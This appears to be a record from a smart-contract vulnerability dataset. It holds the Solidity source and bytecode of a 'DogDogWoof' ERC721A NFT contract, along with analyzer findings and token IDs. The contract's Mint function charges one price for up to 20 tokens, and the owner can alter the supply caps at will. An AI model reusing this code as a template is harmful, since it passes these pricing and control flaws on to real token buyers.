== prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; contract DogDogWoof is Ownable, ERC721A, ReentrancyGuard { uint256 public maxPerAddressDuringMint; uint256 public amountForDevs; uint256 public price = 0.0069 ether; uint256 public freemintAmount = 1; uint256 public mintAmount = 20; struct SaleConfig { uint64 publicPrice; } SaleConfig public saleConfig; mapping(address => uint256) public allowlist; constructor( uint256 maxBatchSize_, uint256 collectionSize_, uint256 collectionSizeFree_, uint256 amountForDevs_ ) ERC721A("DogDogWoof", "DogDogWoof", maxBatchSize_, collectionSize_, collectionSizeFree_) { maxPerAddressDuringMint = 20; amountForDevs = amountForDevs_; } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } function Mint(uint256 quantity) external payable callerIsUser { require(quantity <= mintAmount, "Too many minted at once"); require(msg.value >= price, "Need to send more ETH."); require(totalSupply() + quantity <= collectionSize, "reached max supply"); _safeMint(msg.sender, quantity); } function MintFree(uint256 quantity) external payable callerIsUser { require(quantity <= freemintAmount, "Too many minted at once"); require(totalSupply() + quantity <= collectionSizeFree, "reached max supply"); _safeMint(msg.sender, quantity); } function refundIfOver(uint256 price) private { require(msg.value >= price, "Need to send more ETH."); if (msg.value > price) { payable(msg.sender).transfer(msg.value - price); } } function seedAllowlist(address[] memory addresses, uint256[] memory numSlots) external onlyOwner { require( addresses.length == numSlots.length, "addresses does not match numSlots length" ); for (uint256 i = 0; i < addresses.length; i++) { allowlist[addresses[i]] = numSlots[i]; } } // For marketing etc. function Mints(uint256 quantity) external onlyOwner { require(totalSupply() + quantity <= amountForDevs, "reached max supply"); _safeMint(msg.sender, quantity); } // // metadata URI string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function withdrawMoney() external onlyOwner nonReentrant { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { _setOwnersExplicit(quantity); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } function setprice(uint256 _newprice) public onlyOwner { price = _newprice; } function setfreemints(uint256 _newfreemints) public onlyOwner { collectionSizeFree = _newfreemints; } function setcollectionSize(uint256 _newcollectionSize) public onlyOwner { collectionSize = _newcollectionSize; } function setamountForDevs(uint256 _newamountForDevs) public onlyOwner { amountForDevs = _newamountForDevs; } function setfreemintAmount(uint256 _newfreemintAmount) public onlyOwner { freemintAmount = _newfreemintAmount; } function setmintAmount(uint256 _newmintAmount) public onlyOwner { mintAmount = _newmintAmount; } }
0x6080604052600436106102515760003560e01c80638da5cb5b11610139578063b05863d5116100b6578063d7224ba01161007a578063d7224ba0146106f7578063dc33e6811461070d578063e985e9c51461072d578063eb7f13ad14610776578063f2fde38b14610796578063fbe1aa51146107b657600080fd5b8063b05863d514610657578063b88d4fde14610677578063c87b56dd14610697578063d0d99907146106b7578063d49f0fa5146106d757600080fd5b8063a035b1fe116100fd578063a035b1fe146105cc578063a22cb465146105e2578063a7cd52cb14610602578063ac4460021461062f578063ad6ac81b1461064457600080fd5b80638da5cb5b146104f457806390aa0b0f146105125780639231ab2a1461054a57806395d89b41146105975780639f8afbcc146105ac57600080fd5b80632d20fb60116101d25780635a2bcc18116101965780635a2bcc18146104535780636352211e1461046957806370a0823114610489578063715018a6146104a957806380e28ea5146104be5780638bc35c2f146104de57600080fd5b80632d20fb60146103b35780632f745c59146103d357806342842e0e146103f35780634f6ccce71461041357806355f804b31461043357600080fd5b8063130db2bb11610219578063130db2bb1461031a57806318160ddd1461033e57806321b2a6cb1461035357806323b872dd1461037357806327e410f11461039357600080fd5b806301ffc9a71461025657806306fdde031461028b57806307883703146102ad578063081812fc146102c2578063095ea7b3146102fa575b600080fd5b34801561026257600080fd5b5061027661027136600461238a565b6107cc565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a0610839565b60405161028291906123ff565b6102c06102bb366004612412565b6108cb565b005b3480156102ce57600080fd5b506102e26102dd366004612412565b610a1d565b6040516001600160a01b039091168152602001610282565b34801561030657600080fd5b506102c0610315366004612447565b610aa8565b34801561032657600080fd5b5061033060105481565b604051908152602001610282565b34801561034a57600080fd5b50600154610330565b34801561035f57600080fd5b506102c061036e366004612412565b610bc0565b34801561037f57600080fd5b506102c061038e366004612471565b610bef565b34801561039f57600080fd5b506102c06103ae366004612412565b610bfa565b3480156103bf57600080fd5b506102c06103ce366004612412565b610c29565b3480156103df57600080fd5b506103306103ee366004612447565b610cbc565b3480156103ff57600080fd5b506102c061040e366004612471565b610e34565b34801561041f57600080fd5b5061033061042e366004612412565b610e4f565b34801561043f57600080fd5b506102c061044e3660046124ad565b610eb8565b34801561045f57600080fd5b5061033060115481565b34801561047557600080fd5b506102e2610484366004612412565b610eee565b34801561049557600080fd5b506103306104a436600461251e565b610f00565b3480156104b557600080fd5b506102c0610f91565b3480156104ca57600080fd5b506102c06104d9366004612412565b610fc7565b3480156104ea57600080fd5b50610330600d5481565b34801561050057600080fd5b506000546001600160a01b03166102e2565b34801561051e57600080fd5b50601254610532906001600160401b031681565b6040516001600160401b039091168152602001610282565b34801561055657600080fd5b5061056a610565366004612412565b610ff6565b6040805182516001600160a01b031681526020928301516001600160401b03169281019290925201610282565b3480156105a357600080fd5b506102a0611013565b3480156105b857600080fd5b506102c06105c7366004612412565b611022565b3480156105d857600080fd5b50610330600f5481565b3480156105ee57600080fd5b506102c06105fd366004612539565b611051565b34801561060e57600080fd5b5061033061061d36600461251e565b60136020526000908152604090205481565b34801561063b57600080fd5b506102c0611116565b6102c0610652366004612412565b611223565b34801561066357600080fd5b506102c0610672366004612649565b6112cb565b34801561068357600080fd5b506102c0610692366004612708565b6113d2565b3480156106a357600080fd5b506102a06106b2366004612412565b61140b565b3480156106c357600080fd5b506102c06106d2366004612412565b6114d8565b3480156106e357600080fd5b506102c06106f2366004612412565b611507565b34801561070357600080fd5b50610330600b5481565b34801561071957600080fd5b5061033061072836600461251e565b611536565b34801561073957600080fd5b506102766107483660046127c7565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205460ff1690565b34801561078257600080fd5b506102c0610791366004612412565b611541565b3480156107a257600080fd5b506102c06107b136600461251e565b611578565b3480156107c257600080fd5b50610330600e5481565b60006001600160e01b031982166380ac58cd60e01b14806107fd57506001600160e01b03198216635b5e139f60e01b145b8061081857506001600160e01b0319821663780e9d6360e01b145b8061083357506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060058054610848906127fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610874906127fa565b80156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b5050505050905090565b32331461091f5760405162461bcd60e51b815260206004820152601e60248201527f5468652063616c6c657220697320616e6f7468657220636f6e7472616374000060448201526064015b60405180910390fd5b60115481111561096b5760405162461bcd60e51b8152602060048201526017602482015276546f6f206d616e79206d696e746564206174206f6e636560481b6044820152606401610916565b600f543410156109b65760405162461bcd60e51b81526020600482015260166024820152752732b2b2103a379039b2b7321036b7b9329022aa241760511b6044820152606401610916565b600254816109c360015490565b6109cd919061284b565b1115610a105760405162461bcd60e51b815260206004820152601260248201527172656163686564206d617820737570706c7960701b6044820152606401610916565b610a1a3382611610565b50565b6000610a2a826001541190565b610a8c5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b6064820152608401610916565b506000908152600960205260409020546001600160a01b031690565b6000610ab382610eee565b9050806001600160a01b0316836001600160a01b03161415610b225760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610916565b336001600160a01b0382161480610b3e5750610b3e8133610748565b610bb05760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006064820152608401610916565b610bbb83838361162e565b505050565b6000546001600160a01b03163314610bea5760405162461bcd60e51b815260040161091690612863565b600e55565b610bbb83838361168a565b6000546001600160a01b03163314610c245760405162461bcd60e51b815260040161091690612863565b601055565b6000546001600160a01b03163314610c535760405162461bcd60e51b815260040161091690612863565b6002600c541415610ca65760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610916565b6002600c55610cb481611a10565b506001600c55565b6000610cc783610f00565b8210610d205760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b6064820152608401610916565b6000610d2b60015490565b905060008060005b83811015610dd4576000818152600760209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b03169183019190915215610d8557805192505b876001600160a01b0316836001600160a01b03161415610dc15786841415610db35750935061083392505050565b83610dbd81612898565b9450505b5080610dcc81612898565b915050610d33565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b6064820152608401610916565b610bbb838383604051806020016040528060008152506113d2565b6000610e5a60015490565b8210610eb45760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b6064820152608401610916565b5090565b6000546001600160a01b03163314610ee25760405162461bcd60e51b815260040161091690612863565b610bbb601483836122e4565b6000610ef982611bc1565b5192915050565b60006001600160a01b038216610f6c5760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b6064820152608401610916565b506001600160a01b03166000908152600860205260409020546001600160801b031690565b6000546001600160a01b03163314610fbb5760405162461bcd60e51b815260040161091690612863565b610fc56000611d2f565b565b6000546001600160a01b03163314610ff15760405162461bcd60e51b815260040161091690612863565b600355565b604080518082019091526000808252602082015261083382611bc1565b606060068054610848906127fa565b6000546001600160a01b0316331461104c5760405162461bcd60e51b815260040161091690612863565b600255565b6001600160a01b0382163314156110aa5760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610916565b336000818152600a602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000546001600160a01b031633146111405760405162461bcd60e51b815260040161091690612863565b6002600c5414156111935760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610916565b6002600c55604051600090339047908381818185875af1925050503d80600081146111da576040519150601f19603f3d011682016040523d82523d6000602084013e6111df565b606091505b5050905080610cb45760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b6044820152606401610916565b3233146112725760405162461bcd60e51b815260206004820152601e60248201527f5468652063616c6c657220697320616e6f7468657220636f6e747261637400006044820152606401610916565b6010548111156112be5760405162461bcd60e51b8152602060048201526017602482015276546f6f206d616e79206d696e746564206174206f6e636560481b6044820152606401610916565b600354816109c360015490565b6000546001600160a01b031633146112f55760405162461bcd60e51b815260040161091690612863565b80518251146113575760405162461bcd60e51b815260206004820152602860248201527f61646472657373657320646f6573206e6f74206d61746368206e756d536c6f746044820152670e640d8cadccee8d60c31b6064820152608401610916565b60005b8251811015610bbb57818181518110611375576113756128b3565b602002602001015160136000858481518110611393576113936128b3565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806113ca90612898565b91505061135a565b6113dd84848461168a565b6113e984848484611d7f565b6114055760405162461bcd60e51b8152600401610916906128c9565b50505050565b6060611418826001541190565b61147c5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610916565b6000611486611e7e565b905060008151116114a657604051806020016040528060008152506114d1565b806114b084611e8d565b6040516020016114c192919061291c565b6040516020818303038152906040525b9392505050565b6000546001600160a01b031633146115025760405162461bcd60e51b815260040161091690612863565b601155565b6000546001600160a01b031633146115315760405162461bcd60e51b815260040161091690612863565b600f55565b600061083382611f8a565b6000546001600160a01b0316331461156b5760405162461bcd60e51b815260040161091690612863565b600e54816109c360015490565b6000546001600160a01b031633146115a25760405162461bcd60e51b815260040161091690612863565b6001600160a01b0381166116075760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610916565b610a1a81611d2f565b61162a828260405180602001604052806000815250612028565b5050565b60008281526009602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061169582611bc1565b80519091506000906001600160a01b0316336001600160a01b031614806116cc5750336116c184610a1d565b6001600160a01b0316145b806116de575081516116de9033610748565b9050806117485760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610916565b846001600160a01b031682600001516001600160a01b0316146117bc5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b6064820152608401610916565b6001600160a01b0384166118205760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610916565b611830600084846000015161162e565b6001600160a01b03851660009081526008602052604081208054600192906118629084906001600160801b031661294b565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b038616600090815260086020526040812080546001945090926118ae91859116612973565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b0380871682526001600160401b03428116602080850191825260008981526007909152948520935184549151909216600160a01b026001600160e01b0319909116919092161717905561193584600161284b565b6000818152600760205260409020549091506001600160a01b03166119c65761195f816001541190565b156119c65760408051808201825284516001600160a01b0390811682526020808701516001600160401b039081168285019081526000878152600790935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b600b5481611a605760405162461bcd60e51b815260206004820152601860248201527f7175616e74697479206d757374206265206e6f6e7a65726f00000000000000006044820152606401610916565b60006001611a6e848461284b565b611a789190612995565b90506001600254611a899190612995565b811115611aa2576001600254611a9f9190612995565b90505b611aad816001541190565b611b085760405162461bcd60e51b815260206004820152602660248201527f6e6f7420656e6f756768206d696e7465642079657420666f722074686973206360448201526506c65616e75760d41b6064820152608401610916565b815b818111611bad576000818152600760205260409020546001600160a01b0316611b9b576000611b3882611bc1565b60408051808201825282516001600160a01b0390811682526020938401516001600160401b039081168584019081526000888152600790965293909420915182549351909416600160a01b026001600160e01b0319909316931692909217179055505b80611ba581612898565b915050611b0a565b50611bb981600161284b565b600b55505050565b6040805180820190915260008082526020820152611be0826001541190565b611c3f5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b6064820152608401610916565b60006004548310611c6557600454611c579084612995565b611c6290600161284b565b90505b825b818110611cce576000818152600760209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b03169183019190915215611cbb57949350505050565b5080611cc6816129ac565b915050611c67565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201526e1037bbb732b91037b3103a37b5b2b760891b6064820152608401610916565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006001600160a01b0384163b15611e7257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611dc39033908990889088906004016129c3565b6020604051808303816000875af1925050508015611dfe575060408051601f3d908101601f19168201909252611dfb91810190612a00565b60015b611e58573d808015611e2c576040519150601f19603f3d011682016040523d82523d6000602084013e611e31565b606091505b508051611e505760405162461bcd60e51b8152600401610916906128c9565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611e76565b5060015b949350505050565b606060148054610848906127fa565b606081611eb15750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611edb5780611ec581612898565b9150611ed49050600a83612a33565b9150611eb5565b6000816001600160401b03811115611ef557611ef5612575565b6040519080825280601f01601f191660200182016040528015611f1f576020820181803683370190505b5090505b8415611e7657611f34600183612995565b9150611f41600a86612a47565b611f4c90603061284b565b60f81b818381518110611f6157611f616128b3565b60200101906001600160f81b031916908160001a905350611f83600a86612a33565b9450611f23565b60006001600160a01b038216611ffc5760405162461bcd60e51b815260206004820152603160248201527f455243373231413a206e756d626572206d696e74656420717565727920666f7260448201527020746865207a65726f206164647265737360781b6064820152608401610916565b506001600160a01b0316600090815260086020526040902054600160801b90046001600160801b031690565b6001546001600160a01b03841661208b5760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610916565b612096816001541190565b156120e35760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e7465640000006044820152606401610916565b6004548311156121405760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b6064820152608401610916565b6001600160a01b0384166000908152600860209081526040918290208251808401845290546001600160801b038082168352600160801b909104169181019190915281518083019092528051909190819061219c908790612973565b6001600160801b031681526020018583602001516121ba9190612973565b6001600160801b039081169091526001600160a01b0380881660008181526008602090815260408083208751978301518716600160801b029790961696909617909455845180860186529182526001600160401b034281168386019081528883526007909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b858110156122d95760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a461229d6000888488611d7f565b6122b95760405162461bcd60e51b8152600401610916906128c9565b816122c381612898565b92505080806122d190612898565b915050612250565b506001819055611a08565b8280546122f0906127fa565b90600052602060002090601f0160209004810192826123125760008555612358565b82601f1061232b5782800160ff19823516178555612358565b82800160010185558215612358579182015b8281111561235857823582559160200191906001019061233d565b50610eb49291505b80821115610eb45760008155600101612360565b6001600160e01b031981168114610a1a57600080fd5b60006020828403121561239c57600080fd5b81356114d181612374565b60005b838110156123c25781810151838201526020016123aa565b838111156114055750506000910152565b600081518084526123eb8160208601602086016123a7565b601f01601f19169290920160200192915050565b6020815260006114d160208301846123d3565b60006020828403121561242457600080fd5b5035919050565b80356001600160a01b038116811461244257600080fd5b919050565b6000806040838503121561245a57600080fd5b6124638361242b565b946020939093013593505050565b60008060006060848603121561248657600080fd5b61248f8461242b565b925061249d6020850161242b565b9150604084013590509250925092565b600080602083850312156124c057600080fd5b82356001600160401b03808211156124d757600080fd5b818501915085601f8301126124eb57600080fd5b8135818111156124fa57600080fd5b86602082850101111561250c57600080fd5b60209290920196919550909350505050565b60006020828403121561253057600080fd5b6114d18261242b565b6000806040838503121561254c57600080fd5b6125558361242b565b91506020830135801515811461256a57600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b03811182821017156125b3576125b3612575565b604052919050565b60006001600160401b038211156125d4576125d4612575565b5060051b60200190565b600082601f8301126125ef57600080fd5b813560206126046125ff836125bb565b61258b565b82815260059290921b8401810191818101908684111561262357600080fd5b8286015b8481101561263e5780358352918301918301612627565b509695505050505050565b6000806040838503121561265c57600080fd5b82356001600160401b038082111561267357600080fd5b818501915085601f83011261268757600080fd5b813560206126976125ff836125bb565b82815260059290921b840181019181810190898411156126b657600080fd5b948201945b838610156126db576126cc8661242b565b825294820194908201906126bb565b965050860135925050808211156126f157600080fd5b506126fe858286016125de565b9150509250929050565b6000806000806080858703121561271e57600080fd5b6127278561242b565b9350602061273681870161242b565b93506040860135925060608601356001600160401b038082111561275957600080fd5b818801915088601f83011261276d57600080fd5b81358181111561277f5761277f612575565b612791601f8201601f1916850161258b565b915080825289848285010111156127a757600080fd5b808484018584013760008482840101525080935050505092959194509250565b600080604083850312156127da57600080fd5b6127e38361242b565b91506127f16020840161242b565b90509250929050565b600181811c9082168061280e57607f821691505b6020821081141561282f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561285e5761285e612835565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006000198214156128ac576128ac612835565b5060010190565b634e487b7160e01b600052603260045260246000fd5b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b6000835161292e8184602088016123a7565b8351908301906129428183602088016123a7565b01949350505050565b60006001600160801b038381169083168181101561296b5761296b612835565b039392505050565b60006001600160801b0380831681851680830382111561294257612942612835565b6000828210156129a7576129a7612835565b500390565b6000816129bb576129bb612835565b506000190190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906129f6908301846123d3565b9695505050505050565b600060208284031215612a1257600080fd5b81516114d181612374565b634e487b7160e01b600052601260045260246000fd5b600082612a4257612a42612a1d565b500490565b600082612a5657612a56612a1d565b50069056fea26469706673582212202e00de3c1797827bc8b16890033c96db8100039c732987ff8fc3c084896284b264736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 28756, 2549, 2050, 17914, 2475, 2063, 2575, 2620, 2497, 2620, 2063, 2549, 6679, 28756, 2620, 2683, 2629, 2050, 2575, 2497, 27531, 2094, 23833, 2549, 2063, 21084, 2575, 9468, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 102 ]
